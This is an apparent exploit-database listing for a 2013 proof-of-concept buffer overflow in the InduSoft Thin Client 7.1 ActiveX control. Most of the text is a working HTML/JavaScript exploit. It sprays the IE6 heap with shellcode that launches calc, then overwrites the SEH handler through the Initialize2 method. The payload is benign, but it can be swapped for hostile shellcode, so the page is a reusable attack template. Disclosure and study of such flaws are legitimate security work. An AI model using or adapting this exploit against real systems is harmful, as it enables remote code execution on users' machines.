Indusoft Thin Client 7.1 Buffer Overflow

🗓️ 10 Oct 2013 00:00:00Reported by BlakeType

packetstorm🔗 packetstormsecurity.com👁 22 Views

InduSoft Thin Client 7.1 Buffer Overflow on Windows XP SP

`<html>  
<!--  
InduSoft Thin Client v7.1  
Date: October 8, 2013  
Exploit Author: Blake  
Software Link: http://www.indusoft.com/Products-Downloads/Download-Library  
Version: 7.1  
Tested on: Windows XP SP3 / IE6  
  
Affected File:i386\novapi7.dll  
Member Name: Initialize2  
Program ID: NovaPdfOptions  
Prototype: Sub Initialize2 ( ByVal p_wsPrinterName As String , ByVal p_wsUserName As String , ByVal p_wsLicenseKey As String , ByVal p_wsApplicationName As String )  
-->  
  
<object classid='clsid:0FAB2D9D-DC57-4C4F-939C-38C5382D71BA' id='target' ></object>  
<script>  
  
// heap spray for IE6  
// calc - 196 bytes  
var shellcode = unescape('%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752%u528b%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86%u016a%u858d%u00b9%u0000%u6850%u8b31%u876f%ud5ff%uf0bb%ua2b5%u6856%u95a6%u9dbd%ud5ff%u063c%u0a7c%ufb80%u75e0%ubb05%u1347%u6f72%u006a%uff53%u63d5%u6c61%u0063');  
var bigblock = unescape('%u9090%u9090');  
var headersize = 20;  
  
var slackspace = headersize + shellcode.length;  
while (bigblock.length < slackspace) bigblock += bigblock;  
var fillblock = bigblock.substring(0,slackspace);  
  
var block = bigblock.substring(0,bigblock.length - slackspace);  
while (block.length + slackspace < 0x50000) block = block + block + fillblock;  
  
var memory = new Array();  
for (i = 0; i < 500; i++){ memory[i] = block + shellcode }  
  
alert("Spray finished, ready to trigger the crash");  
  
buffer = "";  
while(buffer.length < 262) buffer+="A";  
next_seh = "BB";  
seh = unescape("%u0606%u0606");  
junk = "";  
while(junk.length < 8740) junk+="D";  
  
var arg2="defaultV";  
var arg3="defaultV";  
var arg4="defaultV";  
  
var arg1=buffer + next_seh + seh + junk;  
  
target.Initialize2(arg1,arg2,arg3,arg4);  
  
</script>  
  
`

10 Oct 2013 00:00Current

0.2Low risk

Vulners AI Score0.2